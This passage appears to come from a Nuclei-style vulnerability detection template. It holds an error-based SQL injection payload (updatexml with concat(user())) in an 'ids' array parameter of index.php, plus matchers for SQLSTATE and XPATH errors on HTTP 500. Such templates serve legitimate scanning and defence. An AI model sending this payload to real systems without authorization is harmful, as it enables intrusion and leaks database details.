"{{BaseURL}}/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1" 15 | 16 | matchers-condition: and 17 | matchers: 18 | - type: word 19 | condition: and 20 | words: 21 | - "SQLSTATE" 22 | - "XPATH syntax error" 23 | 24 | - type: status 25 | status: 26 | - 500 27 | --------------------------------------------------------------------------------